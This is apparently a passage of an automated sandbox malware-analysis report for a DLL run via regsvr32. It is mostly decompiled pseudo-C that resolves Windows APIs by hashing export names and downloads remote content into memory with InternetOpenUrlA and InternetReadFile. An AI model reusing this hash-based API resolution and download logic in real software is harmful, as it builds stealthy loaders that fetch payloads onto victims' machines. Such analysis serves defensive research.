				_v112 = 0;
				_v996 = 0;
				_v40 = 0;
				_v44 = 0;
				_v76 = 0;
				_v1000 = 0;
				_v368 = 0;
				_v376 = 1;
				_v304 = _v1004;
				_v952 =  *[fs:0x30];
				_v956 =  *((intOrPtr*)(_v952 + 0xc));
				_v960 =  *((intOrPtr*)(_v956 + 0xc));
				_v300 = _v960;
				do {
					_v84 =  *((intOrPtr*)(_v300 + 0x18));
					_v148 = _v84;
					_v964 = _v84 +  *((intOrPtr*)(_v84 + 0x3c));
					_t1304 = _v964;
					_v900 =  *((intOrPtr*)(_t1304 + 0x78));
					_v896 =  *((intOrPtr*)(_t1304 + 0x7c));
					_v144 = _v84 + _v900;
					_v140 = _v896;
					if(_v144 == _v148) {
						_v328 = 0;
					} else {
						_v328 = 1;
					}
					_v12 = _v328;
					if((_v12 & 0x000000ff) != 0) {
						_v48 =  *((intOrPtr*)(_v144 + 0x18));
						while(1) {
							_v968 = _v48;
							_v48 = _v48 - 1;
							if(_v968 == 0) {
								goto L14;
							}
							_v972 = _v148 +  *((intOrPtr*)(_v148 +  *((intOrPtr*)(_v144 + 0x20)) + _v48 * 4));
							_v292 = _v972;
							_v296 = 0x811c9dc5;
							while(1) {
								_v13 =  *_v292;
								_v292 = _v292 + 1;
								_v5 = _v13;
								if(_v5 == 0) {
									break;
								}
								L10:
								_v296 = (_v5 ^ _v296) * 0x1000193;
							}
							_v976 = _v296;
							if(_v976 != 0x5258823f) {
								continue;
							} else {
								_v352 = _v148 +  *((intOrPtr*)(_v144 + 0x1c));
								_v348 = _v148 +  *((intOrPtr*)(_v144 + 0x24));
								_v356 = _v148 +  *((intOrPtr*)(_v352 + ( *(_v348 + _v48 * 2) & 0x0000ffff) * 4));
								_v304 = _v356;
								L16:
								_v372 =  &_v368;
								_v388 =  *_v372;
								_v380 =  &_v376;
								_v392 =  *_v380;
								_v384 =  &_a4;
								_v396 =  *_v384;
								_v400 = _v304(_v396, _v392, _v388);
								if(_v400 != 0) {
									_v452 = 0;
									_v15 = 0;
									_v460 = 0;
									_v468 = 0;
									_v476 = 0;
									_v484 = E6DA921F0( &_v15);
									_v204 = _v1008;
									_v404 =  *[fs:0x30];
									_v408 =  *((intOrPtr*)(_v404 + 0xc));
									_v412 =  *((intOrPtr*)(_v408 + 0xc));
									_v200 = _v412;
									do {
										_v88 =  *((intOrPtr*)(_v200 + 0x18));
										_v136 = _v88;
										_v416 = _v88 +  *((intOrPtr*)(_v88 + 0x3c));
										_t1319 = _v416;
										_v908 =  *((intOrPtr*)(_t1319 + 0x78));
										_v904 =  *((intOrPtr*)(_t1319 + 0x7c));
										_v132 = _v88 + _v908;
										_v128 = _v904;
										if(_v132 == _v136) {
											_v332 = 0;
										} else {
											_v332 = 1;
										}
										_v16 = _v332;
										if((_v16 & 0x000000ff) != 0) {
											_v52 =  *((intOrPtr*)(_v132 + 0x18));
											while(1) {
												_v420 = _v52;
												_v52 = _v52 - 1;
												if(_v420 == 0) {
													goto L32;
												}
												_v424 = _v136 +  *((intOrPtr*)(_v136 +  *((intOrPtr*)(_v132 + 0x20)) + _v52 * 4));
												_v308 = _v424;
												_v312 = 0x811c9dc5;
												while(1) {
													_v17 =  *_v308;
													_v308 = _v308 + 1;
													_v6 = _v17;
													if(_v6 == 0) {
														break;
													}
													L28:
													_v312 = (_v6 ^ _v312) * 0x1000193;
												}
												_v428 = _v312;
												if(_v428 != 0xe23b96e7) {
													continue;
												} else {
													_v436 = _v136 +  *((intOrPtr*)(_v132 + 0x1c));
													_v432 = _v136 +  *((intOrPtr*)(_v132 + 0x24));
													_v440 = _v136 +  *((intOrPtr*)(_v436 + ( *(_v432 + _v52 * 2) & 0x0000ffff) * 4));
													_v204 = _v440;
													L34:
													_v456 =  &_v452;
													_v488 =  *_v456;
													_v464 =  &_v460;
													_v492 =  *_v464;
													_v472 =  &_v468;
													_v496 =  *_v472;
													_v480 =  &_v476;
													_v500 =  *_v480;
													_v320 = _v484;
													E6DA9F8F0(_v320);
													_v504 = _v320;
													_v80 = _v204(_v504, _v500, _v496, _v492, _v488);
													if(_v80 != 0) {
														_v556 = 0;
														_v564 = 0x84000000;
														_v572 = 0;
														_v580 = 0;
														_v220 = _v1012;
														_v508 =  *[fs:0x30];
														_v512 =  *((intOrPtr*)(_v508 + 0xc));
														_v516 =  *((intOrPtr*)(_v512 + 0xc));
														_v216 = _v516;
														do {
															_v92 =  *((intOrPtr*)(_v216 + 0x18));
															_v160 = _v92;
															_v520 = _v92 +  *((intOrPtr*)(_v92 + 0x3c));
															_t1336 = _v520;
															_v916 =  *((intOrPtr*)(_t1336 + 0x78));
															_v912 =  *((intOrPtr*)(_t1336 + 0x7c));
															_v156 = _v92 + _v916;
															_v152 = _v912;
															if(_v156 == _v160) {
																_v344 = 0;
															} else {
																_v344 = 1;
															}
															_v19 = _v344;
															if((_v19 & 0x000000ff) != 0) {
																_v56 =  *((intOrPtr*)(_v156 + 0x18));
																while(1) {
																	_v524 = _v56;
																	_v56 = _v56 - 1;
																	if(_v524 == 0) {
																		goto L50;
																	}
																	_v528 = _v160 +  *((intOrPtr*)(_v160 +  *((intOrPtr*)(_v156 + 0x20)) + _v56 * 4));
																	_v208 = _v528;
																	_v212 = 0x811c9dc5;
																	while(1) {
																		_v20 =  *_v208;
																		_v208 = _v208 + 1;
																		_v7 = _v20;
																		if(_v7 == 0) {
																			break;
																		}
																		L46:
																		_v212 = (_v7 ^ _v212) * 0x1000193;
																	}
																	_v532 = _v212;
																	if(_v532 != 0xf4cf8bbc) {
																		continue;
																	} else {
																		_v540 = _v160 +  *((intOrPtr*)(_v156 + 0x1c));
																		_v536 = _v160 +  *((intOrPtr*)(_v156 + 0x24));
																		_v544 = _v160 +  *((intOrPtr*)(_v540 + ( *(_v536 + _v56 * 2) & 0x0000ffff) * 4));
																		_v220 = _v544;
																		L52:
																		_v560 =  &_v556;
																		_v596 =  *_v560;
																		_v568 =  &_v564;
																		_v600 =  *_v568;
																		_v576 =  &_v572;
																		_v604 =  *_v576;
																		_v584 =  &_v580;
																		_v608 =  *_v584;
																		_v588 =  &_a4;
																		_v612 =  *_v588;
																		_v592 =  &_v80;
																		_v616 =  *_v592;
																		_v112 = InternetOpenUrlA(_v616, _v612, _v608, _v604, _v600, _v596);
																		if(_v112 != 0) {
																			do {
																				_v724 =  &_v76;
																				_v732 = 0xc00;
																				_v740 =  &_v4084;
																				_v252 = _v984;
																				_v676 =  *[fs:0x30];
																				_v680 =  *((intOrPtr*)(_v676 + 0xc));
																				_v684 =  *((intOrPtr*)(_v680 + 0xc));
																				_v248 = _v684;
																				do {
																					_v100 =  *((intOrPtr*)(_v248 + 0x18));
																					_v184 = _v100;
																					_v688 = _v100 +  *((intOrPtr*)(_v100 + 0x3c));
																					_t1175 = _v688;
																					_v932 =  *((intOrPtr*)(_t1175 + 0x78));
																					_v928 =  *((intOrPtr*)(_t1175 + 0x7c));
																					_v180 = _v100 + _v932;
																					_v176 = _v928;
																					if(_v180 == _v184) {
																						_v336 = 0;
																					} else {
																						_v336 = 1;
																					}
																					_v25 = _v336;
																					if((_v25 & 0x000000ff) == 0) {
																						goto L84;
																					}
																					_v64 =  *((intOrPtr*)(_v180 + 0x18));
																					while(1) {
																						_v692 = _v64;
																						_v64 = _v64 - 1;
																						if(_v692 == 0) {
																							goto L84;
																						}
																						_v696 = _v184 +  *((intOrPtr*)(_v184 +  *((intOrPtr*)(_v180 + 0x20)) + _v64 * 4));
																						_v240 = _v696;
																						_v244 = 0x811c9dc5;
																						while(1) {
																							_v26 =  *_v240;
																							_v240 = _v240 + 1;
																							_v9 = _v26;
																							if(_v9 == 0) {
																								break;
																							}
																							_v244 = (_v9 ^ _v244) * 0x1000193;
																						}
																						_v700 = _v244;
																						if(_v700 != 0x960cb4c6) {
																							continue;
																						}
																						_v708 = _v184 +  *((intOrPtr*)(_v180 + 0x1c));
																						_v704 = _v184 +  *((intOrPtr*)(_v180 + 0x24));
																						_v712 = _v184 +  *((intOrPtr*)(_v708 + ( *(_v704 + _v64 * 2) & 0x0000ffff) * 4));
																						_v252 = _v712;
																						L86:
																						_v728 =  &_v724;
																						_v752 =  *_v728;
																						_v736 =  &_v732;
																						_v756 =  *_v736;
																						_v744 =  &_v740;
																						_v760 =  *_v744;
																						_v748 =  &_v112;
																						_v764 =  *_v748;
																						InternetReadFile(_v764, _v760, _v756, _v752);
																						_t651 = _v76 + 1; // 0x1
																						_v816 = _v44 + _t651;
																						_v824 = 0x40;
																						_v264 = _v988;
																						_v768 =  *[fs:0x30];
																						_v772 =  *((intOrPtr*)(_v768 + 0xc));
																						_v776 =  *((intOrPtr*)(_v772 + 0xc));
																						_v260 = _v776;
																						do {
																							_v104 =  *((intOrPtr*)(_v260 + 0x18));
																							_v196 = _v104;
																							_v780 = _v104 +  *((intOrPtr*)(_v104 + 0x3c));
																							_t1370 = _v780;
																							_v940 =  *((intOrPtr*)(_t1370 + 0x78));
																							_v936 =  *((intOrPtr*)(_t1370 + 0x7c));
																							_v192 = _v104 + _v940;
																							_v188 = _v936;
																							if(_v192 == _v196) {
																								_v340 = 0;
																							} else {
																								_v340 = 1;
																							}
																							_v28 = _v340;
																							if((_v28 & 0x000000ff) == 0) {
																								goto L100;
																							}
																							_v68 =  *((intOrPtr*)(_v192 + 0x18));
																							while(1) {
																								_v784 = _v68;
																								_v68 = _v68 - 1;
																								if(_v784 == 0) {
																									goto L100;
																								}
																								_v788 = _v196 +  *((intOrPtr*)(_v196 +  *((intOrPtr*)(_v192 + 0x20)) + _v68 * 4));
																								_v256 = _v788;
																								_v288 = 0x811c9dc5;
																								while(1) {
																									_v29 =  *_v256;
																									_v256 = _v256 + 1;
																									_v10 = _v29;
																									if(_v10 == 0) {
																										break;
																									}
																									_v288 = (_v10 ^ _v288) * 0x1000193;
																								}
																								_v792 = _v288;
																								if(_v792 != 0xc2c33c3d) {
																									continue;
																								}
																								_v800 = _v196 +  *((intOrPtr*)(_v192 + 0x1c));
																								_v796 = _v196 +  *((intOrPtr*)(_v192 + 0x24));
																								_v804 = _v196 +  *((intOrPtr*)(_v800 + ( *(_v796 + _v68 * 2) & 0x0000ffff) * 4));
																								_v264 = _v804;
																								L102:
																								_v820 =  &_v816;
																								_v832 =  *_v820;
																								_v828 =  &_v824;
																								_v836 =  *_v828;
																								_v284 = LocalAlloc(_v836, _v832);
																								if(_v40 != 0) {
																									E6DA9AA10(_v284, _v40, _v44);
																								}
																								E6DA9AA10(_v284 + _v44,  &_v4084, _v76);
																								if(_v40 == 0) {
																									goto L122;
																								}
																								_v280 = _v992;
																								_v840 =  *[fs:0x30];
																								_v844 =  *((intOrPtr*)(_v840 + 0xc));
																								_v848 =  *((intOrPtr*)(_v844 + 0xc));
																								_v276 = _v848;
																								do {
																									_v108 =  *((intOrPtr*)(_v276 + 0x18));
																									_v124 = _v108;
																									_v852 = _v108 +  *((intOrPtr*)(_v108 + 0x3c));
																									_t995 = _v852;
																									_v948 =  *((intOrPtr*)(_t995 + 0x78));
																									_v944 =  *((intOrPtr*)(_t995 + 0x7c));
																									_v120 = _v108 + _v948;
																									_v116 = _v944;
																									if(_v120 == _v124) {
																										_v316 = 0;
																									} else {
																										_v316 = 1;
																									}
																									_v31 = _v316;
																									if((_v31 & 0x000000ff) == 0) {
																										goto L119;
																									}
																									_v72 =  *((intOrPtr*)(_v120 + 0x18));
																									while(1) {
																										_v856 = _v72;
																										_v72 = _v72 - 1;
																										if(_v856 == 0) {
																											goto L119;
																										}
																										_v860 = _v124 +  *((intOrPtr*)(_v124 +  *((intOrPtr*)(_v120 + 0x20)) + _v72 * 4));
																										_v268 = _v860;
																										_v272 = 0x811c9dc5;
																										while(1) {
																											_v32 =  *_v268;
																											_v268 = _v268 + 1;
																											_v11 = _v32;
																											if(_v11 == 0) {
																												break;
																											}
																											_v272 = (_v11 ^ _v272) * 0x1000193;
																										}
																										_v864 = _v272;
																										if(_v864 != 0xbf0306f6) {
																											continue;
																										}
																										_v872 = _v124 +  *((intOrPtr*)(_v120 + 0x1c));
																										_v868 = _v124 +  *((intOrPtr*)(_v120 + 0x24));
																										_v876 = _v124 +  *((intOrPtr*)(_v872 + ( *(_v868 + _v72 * 2) & 0x0000ffff) * 4));
																										_v280 = _v876;
																										L121:
																										_v888 =  &_v40;
																										_v892 =  *_v888;
																										LocalFree(_v892);
																										goto L122;
																									}
																									L119:
																									_v880 = _v276;
																									_v884 =  *_v880;
																									_v276 = _v884;
																									_v33 = 1;
																								} while ((_v33 & 0x000000ff) != 0);
																								_v280 = 0;
																								goto L121;
																							}
																							L100:
																							_v808 = _v260;
																							_v812 =  *_v808;
																							_v260 = _v812;
																							_v30 = 1;
																						} while ((_v30 & 0x000000ff) != 0);
																						_v264 = 0;
																						goto L102;
																					}
																					L84:
																					_v716 = _v248;
																					_v720 =  *_v716;
																					_v248 = _v720;
																					_v27 = 1;
																				} while ((_v27 & 0x000000ff) != 0);
																				_v252 = 0;
																				goto L86;
																				L122:
																				_v40 = _v284;
																				_v44 = _v44 + _v76;
																			} while (_v76 != 0);
																			 *((char*)(_v40 + _v44)) = 0;
																			InternetCloseHandle(_v112);
																			InternetCloseHandle(_v80);
																			return _v40;
																		}
																		_v236 = _v980;
																		_v620 =  *[fs:0x30];
																		_v624 =  *((intOrPtr*)(_v620 + 0xc));
																		_v628 =  *((intOrPtr*)(_v624 + 0xc));
																		_v232 = _v628;
																		do {
																			_v96 =  *((intOrPtr*)(_v232 + 0x18));
																			_v172 = _v96;
																			_v632 = _v96 +  *((intOrPtr*)(_v96 + 0x3c));
																			_t1250 = _v632;
																			_v924 =  *((intOrPtr*)(_t1250 + 0x78));
																			_v920 =  *((intOrPtr*)(_t1250 + 0x7c));
																			_v168 = _v96 + _v924;
																			_v164 = _v920;
																			if(_v168 == _v172) {
																				_v324 = 0;
																			} else {
																				_v324 = 1;
																			}
																			_v22 = _v324;
																			if((_v22 & 0x000000ff) != 0) {
																				_v60 =  *((intOrPtr*)(_v168 + 0x18));
																				while(1) {
																					_v636 = _v60;
																					_v60 = _v60 - 1;
																					if(_v636 == 0) {
																						goto L67;
																					}
																					_v640 = _v172 +  *((intOrPtr*)(_v172 +  *((intOrPtr*)(_v168 + 0x20)) + _v60 * 4));
																					_v224 = _v640;
																					_v228 = 0x811c9dc5;
																					while(1) {
																						_v23 =  *_v224;
																						_v224 = _v224 + 1;
																						_v8 = _v23;
																						if(_v8 == 0) {
																							break;
																						}
																						L63:
																						_v228 = (_v8 ^ _v228) * 0x1000193;
																					}
																					_v644 = _v228;
																					if(_v644 != 0x4ddde966) {
																						continue;
																					} else {
																						_v652 = _v172 +  *((intOrPtr*)(_v168 + 0x1c));
																						_v648 = _v172 +  *((intOrPtr*)(_v168 + 0x24));
																						_v656 = _v172 +  *((intOrPtr*)(_v652 + ( *(_v648 + _v60 * 2) & 0x0000ffff) * 4));
																						_v236 = _v656;
																						L69:
																						_v668 =  &_v80;
																						_v672 =  *_v668;
																						_v236(_v672);
																						return 0;
																					}
																					goto L63;
																				}
																			}
																			L67:
																			_v660 = _v232;
																			_v664 =  *_v660;
																			_v232 = _v664;
																			_v24 = 1;
																		} while ((_v24 & 0x000000ff) != 0);
																		_v236 = 0;
																		goto L69;
																	}
																	goto L46;
																}
															}
															L50:
															_v548 = _v216;
															_v552 =  *_v548;
															_v216 = _v552;
															_v21 = 1;
														} while ((_v21 & 0x000000ff) != 0);
														_v220 = 0;
														goto L52;
													}
													return 0;
												}
												goto L28;
											}
										}
										L32:
										_v444 = _v200;
										_v448 =  *_v444;
										_v200 = _v448;
										_v18 = 1;
									} while ((_v18 & 0x000000ff) != 0);
									_v204 = 0;
									goto L34;
								}
								return 0;
							}
							goto L10;
						}
					}
					L14:
					_v360 = _v300;
					_v364 =  *_v360;
					_v300 = _v364;
					_v14 = 1;
				} while ((_v14 & 0x000000ff) != 0);
				_v304 = 0;
				goto L16;
			}

0x6da98309
0x6da98310
0x6da98317
0x6da98321
0x6da98328
0x6da9832f
0x6da98336
0x6da98340
0x6da9834a
0x6da9835a
0x6da98367
0x6da98376
0x6da98385
0x6da98391
0x6da98397
0x6da983a0
0x6da983a6
0x6da983b5
0x6da983c3
0x6da983d1
0x6da983d7
0x6da983e6
0x6da983f2
0x6da98404
0x6da98412
0x6da98406
0x6da98406
0x6da98406
0x6da98422
0x6da9842b
0x6da9843a
0x6da9843d
0x6da98440
0x6da9844c
0x6da98456
0x00000000
0x00000000
0x6da98477
0x6da98483
0x6da98489
0x6da98493
0x6da9849b
0x6da984a7
0x6da984b0
0x6da984b9
0x00000000
0x00000000
0x6da984c9
0x6da984da
0x6da984da
0x6da984c1
0x6da984ec
0x00000000
0x6da984ee
0x6da984fd
0x6da98512
0x6da98534
0x6da98540
0x6da9858d
0x6da98593
0x6da985a1
0x6da985ad
0x6da985bb
0x6da985c4
0x6da985d2
0x6da985f3
0x6da98600
0x6da98609
0x6da98615
0x6da98618
0x6da98622
0x6da9862c
0x6da9863e
0x6da9864a
0x6da98657
0x6da98666
0x6da98675
0x6da98681
0x6da98687
0x6da98690
0x6da98696
0x6da986a5
0x6da986b3
0x6da986c1
0x6da986c7
0x6da986d6
0x6da986df
0x6da986eb
0x6da986f9
0x6da986ed
0x6da986ed
0x6da986ed
0x6da98709
0x6da98712
0x6da9871e
0x6da98721
0x6da98724
0x6da98730
0x6da9873a
0x00000000
0x00000000
0x6da98758
0x6da98764
0x6da9876a
0x6da98774
0x6da9877c
0x6da98788
0x6da98791
0x6da9879a
0x00000000
0x00000000
0x6da987aa
0x6da987bb
0x6da987bb
0x6da987a2
0x6da987cd
0x00000000
0x6da987cf
0x6da987db
0x6da987ed
0x6da9880f
0x6da9881b
0x6da98868
0x6da9886e
0x6da9887c
0x6da98888
0x6da98896
0x6da988a2
0x6da988b0
0x6da988bc
0x6da988ca
0x6da988d6
0x6da988e2
0x6da988ed
0x6da9891c
0x6da98923
0x6da9892c
0x6da98936
0x6da98940
0x6da9894a
0x6da9895a
0x6da98967
0x6da98976
0x6da98985
0x6da98991
0x6da98997
0x6da989a0
0x6da989a6
0x6da989b5
0x6da989c3
0x6da989d1
0x6da989d7
0x6da989e6
0x6da989f2
0x6da98a04
0x6da98a12
0x6da98a06
0x6da98a06
0x6da98a06
0x6da98a22
0x6da98a2b
0x6da98a3a
0x6da98a3d
0x6da98a40
0x6da98a4c
0x6da98a56
0x00000000
0x00000000
0x6da98a77
0x6da98a83
0x6da98a89
0x6da98a93
0x6da98a9b
0x6da98aa7
0x6da98ab0
0x6da98ab9
0x00000000
0x00000000
0x6da98ac9
0x6da98ada
0x6da98ada
0x6da98ac1
0x6da98aec
0x00000000
0x6da98aee
0x6da98afd
0x6da98b12
0x6da98b34
0x6da98b40
0x6da98b8d
0x6da98b93
0x6da98ba1
0x6da98bad
0x6da98bbb
0x6da98bc7
0x6da98bd5
0x6da98be1
0x6da98bef
0x6da98bf8
0x6da98c06
0x6da98c0f
0x6da98c1d
0x6da98c53
0x6da98c5a
0x6da98ec3
0x6da98ec6
0x6da98ecc
0x6da98edc
0x6da98ee8
0x6da98ef4
0x6da98f03
0x6da98f12
0x6da98f1e
0x6da98f24
0x6da98f2d
0x6da98f33
0x6da98f42
0x6da98f50
0x6da98f5e
0x6da98f64
0x6da98f73
0x6da98f7f
0x6da98f91
0x6da98f9f
0x6da98f93
0x6da98f93
0x6da98f93
0x6da98faf
0x6da98fb8
0x00000000
0x00000000
0x6da98fc7
0x6da98fca
0x6da98fcd
0x6da98fd9
0x6da98fe3
0x00000000
0x00000000
0x6da99004
0x6da99010
0x6da99016
0x6da99020
0x6da99028
0x6da99034
0x6da9903d
0x6da99046
0x00000000
0x00000000
0x6da99067
0x6da99067
0x6da9904e
0x6da99079
0x00000000
0x6da990d5
0x6da9908a
0x6da9909f
0x6da990c1
0x6da990cd
0x6da9911a
0x6da99120
0x6da9912e
0x6da9913a
0x6da99148
0x6da99154
0x6da99162
0x6da9916b
0x6da99179
0x6da9919b
0x6da991a7
0x6da991ab
0x6da991b1
0x6da991c1
0x6da991ce
0x6da991dd
0x6da991ec
0x6da991f8
0x6da991fe
0x6da99207
0x6da9920d
0x6da9921c
0x6da9922a
0x6da99238
0x6da9923e
0x6da9924d
0x6da99259
0x6da9926b
0x6da99279
0x6da9926d
0x6da9926d
0x6da9926d
0x6da99289
0x6da99292
0x00000000
0x00000000
0x6da992a1
0x6da992a4
0x6da992a7
0x6da992b3
0x6da992bd
0x00000000
0x00000000
0x6da992de
0x6da992ea
0x6da992f0
0x6da992fa
0x6da99302
0x6da9930e
0x6da99317
0x6da99320
0x00000000
0x00000000
0x6da99341
0x6da99341
0x6da99328
0x6da99353
0x00000000
0x6da993af
0x6da99364
0x6da99379
0x6da9939b
0x6da993a7
0x6da993f4
0x6da993fa
0x6da99408
0x6da99414
0x6da99422
0x6da9943c
0x6da99446
0x6da99457
0x6da99457
0x6da99471
0x6da9947a
0x00000000
0x00000000
0x6da99486
0x6da99493
0x6da994a2
0x6da994b1
0x6da994bd
0x6da994c3
0x6da994cc
0x6da994d2
0x6da994de
0x6da994ec
0x6da994fa
0x6da99500
0x6da9950f
0x6da99518
0x6da99521
0x6da9952f
0x6da99523
0x6da99523
0x6da99523
0x6da9953f
0x6da99548
0x00000000
0x00000000
0x6da99554
0x6da99557
0x6da9955a
0x6da99566
0x6da99570
0x00000000
0x00000000
0x6da99588
0x6da99594
0x6da9959a
0x6da995a4
0x6da995ac
0x6da995b8
0x6da995c1
0x6da995ca
0x00000000
0x00000000
0x6da995eb
0x6da995eb
0x6da995d2
0x6da995fd
0x00000000
0x6da9964a
0x6da99608
0x6da99617
0x6da99636
0x6da99642
0x6da9968f
0x6da99692
0x6da996a0
0x6da996ad
0x00000000
0x6da996ad
0x6da9964f
0x6da99655
0x6da99663
0x6da9966f
0x6da99675
0x6da9967d
0x6da99685
0x00000000
0x6da99685
0x6da993b4
0x6da993ba
0x6da993c8
0x6da993d4
0x6da993da
0x6da993e2
0x6da993ea
0x00000000
0x6da993ea
0x6da990da
0x6da990e0
0x6da990ee
0x6da990fa
0x6da99100
0x6da99108
0x6da99110
0x00000000
0x6da996b3
0x6da996b9
0x6da996c2
0x6da996c5
0x6da996d5
0x6da996dc
0x6da996e6
0x00000000
0x6da996ec
0x6da98c66
0x6da98c72
0x6da98c81
0x6da98c90
0x6da98c9c
0x6da98ca2
0x6da98cab
0x6da98cb1
0x6da98cc0
0x6da98cce
0x6da98cdc
0x6da98ce2
0x6da98cf1
0x6da98cfd
0x6da98d0f
0x6da98d1d
0x6da98d11
0x6da98d11
0x6da98d11
0x6da98d2d
0x6da98d36
0x6da98d45
0x6da98d48
0x6da98d4b
0x6da98d57
0x6da98d61
0x00000000
0x00000000
0x6da98d82
0x6da98d8e
0x6da98d94
0x6da98d9e
0x6da98da6
0x6da98db2
0x6da98dbb
0x6da98dc4
0x00000000
0x00000000
0x6da98dd4
0x6da98de5
0x6da98de5
0x6da98dcc
0x6da98df7
0x00000000
0x6da98df9
0x6da98e08
0x6da98e1d
0x6da98e3f
0x6da98e4b
0x6da98e98
0x6da98e9b
0x6da98ea9
0x6da98eb6
0x00000000
0x6da98ebc
0x00000000
0x6da98df7
0x6da98d48
0x6da98e58
0x6da98e5e
0x6da98e6c
0x6da98e78
0x6da98e7e
0x6da98e86
0x6da98e8e
0x00000000
0x6da98e8e
0x00000000
0x6da98aec
0x6da98a3d
0x6da98b4d
0x6da98b53
0x6da98b61
0x6da98b6d
0x6da98b73
0x6da98b7b
0x6da98b83
0x00000000
0x6da98b83
0x00000000
0x6da98925
0x00000000
0x6da987cd
0x6da98721
0x6da98828
0x6da9882e
0x6da9883c
0x6da98848
0x6da9884e
0x6da98856
0x6da9885e
0x00000000
0x6da9885e
0x00000000
0x6da98602
0x00000000
0x6da984ec
0x6da9843d
0x6da9854d
0x6da98553
0x6da98561
0x6da9856d
0x6da98573
0x6da9857b
0x6da98583
0x00000000

APIs

InternetCheckConnectionA.WININET(?,?,?), ref: 6DA985ED

Strings

@, xrefs: 6DA991B1

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: @
API String ID: 3847983778-2766056989
Opcode ID: 644af7f9fdd61fd8839fdd7c557b181a3ab452f7aa89d14092ff3a02ab3ccf6d
Instruction ID: ceeace34ead9dc43b06c776921aa583bed574b5a10bb4cba7209b778e373bfaa
Opcode Fuzzy Hash: 644af7f9fdd61fd8839fdd7c557b181a3ab452f7aa89d14092ff3a02ab3ccf6d
Instruction Fuzzy Hash: D5D28B78E052698FCB69CF58C994BDDBBB1BF89304F1481DAD849AB351D730AA81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA99910 Relevance: 12.9, APIs: 1, Strings: 6, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E6DA99910(void* __eflags) {
				int _v8;
				intOrPtr _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				void* _v21;
				signed int _v22;
				signed char _v23;
				void* _v24;
				signed int _v25;
				signed char _v26;
				void* _v27;
				signed int _v28;
				int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				intOrPtr* _v112;
				int _v116;
				intOrPtr _v120;
				intOrPtr* _v124;
				signed int _v128;
				intOrPtr* _v132;
				int _v136;
				intOrPtr _v140;
				intOrPtr* _v144;
				int* _v148;
				intOrPtr* _v152;
				int _v156;
				intOrPtr _v160;
				signed int _v164;
				int* _v168;
				intOrPtr* _v172;
				char _v176;
				int _v180;
				char _v184;
				char _v188;
				int _v192;
				int _v196;
				intOrPtr _v200;
				intOrPtr* _v204;
				intOrPtr _v208;
				signed int _v212;
				intOrPtr* _v216;
				signed int _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				int _v232;
				intOrPtr* _v236;
				intOrPtr _v240;
				intOrPtr* _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr* _v272;
				intOrPtr _v276;
				signed int _v280;
				intOrPtr* _v284;
				signed int _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				int _v300;
				intOrPtr* _v304;
				intOrPtr _v308;
				intOrPtr* _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr* _v340;
				intOrPtr _v344;
				signed int _v348;
				intOrPtr* _v352;
				signed int _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				int _v368;
				intOrPtr* _v372;
				intOrPtr _v376;
				intOrPtr* _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				int* _v420;
				int* _v424;
				intOrPtr _v428;
				int _v432;
				int _v436;
				int _v440;
				char* _v444;
				char* _v448;
				int _v452;
				int _v456;
				char _v468;
				char _v480;
				signed int _v544;
				signed short _v608;
				char _t428;
				char _t429;
				intOrPtr _t488;
				void* _t495;
				intOrPtr _t515;
				intOrPtr _t540;
				intOrPtr _t588;
				intOrPtr _t604;
				intOrPtr _t661;
				char _t669;
				char _t682;
				intOrPtr _t741;

				_push(0xffffffff);
				_push(0x6daeaeab);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t741;
				_v32 = 0;
				_v436 = 0;
				_v440 = 0;
				_v420 =  &_v480;
				_v148 = _v420;
				 *_v148 = 0;
				_v148[1] = 0;
				_v148[2] = 0;
				_v444 =  &_v480;
				_v8 = 0;
				_v424 =  &_v468;
				_v168 = _v424;
				 *_v168 = 0;
				_v168[1] = 0;
				_v168[2] = 0;
				_v448 =  &_v468;
				_v8 = 1;
				_t428 =  *0x6daf4a88; // 0x6daf4b70
				_t429 = E6DA98300(_t428); // executed
				_v188 = _t429;
				_v40 = E6DA9DF70(_v188,  &_v32);
				_v116 = _v452;
				_v428 =  *[fs:0x30];
				_v200 =  *((intOrPtr*)(_v428 + 0xc));
				_v204 =  *((intOrPtr*)(_v200 + 0xc));
				_v112 = _v204;
				do {
					_v56 =  *((intOrPtr*)(_v112 + 0x18));
					_v92 = _v56;
					_v208 = _v56 +  *((intOrPtr*)(_v56 + 0x3c));
					_t661 = _v208;
					_v400 =  *((intOrPtr*)(_t661 + 0x78));
					_v396 =  *((intOrPtr*)(_t661 + 0x7c));
					_v88 = _v56 + _v400;
					_v84 = _v396;
					if(_v88 == _v92) {
						_v192 = 0;
					} else {
						_v192 = 1;
					}
					_v20 = _v192;
					if((_v20 & 0x000000ff) != 0) {
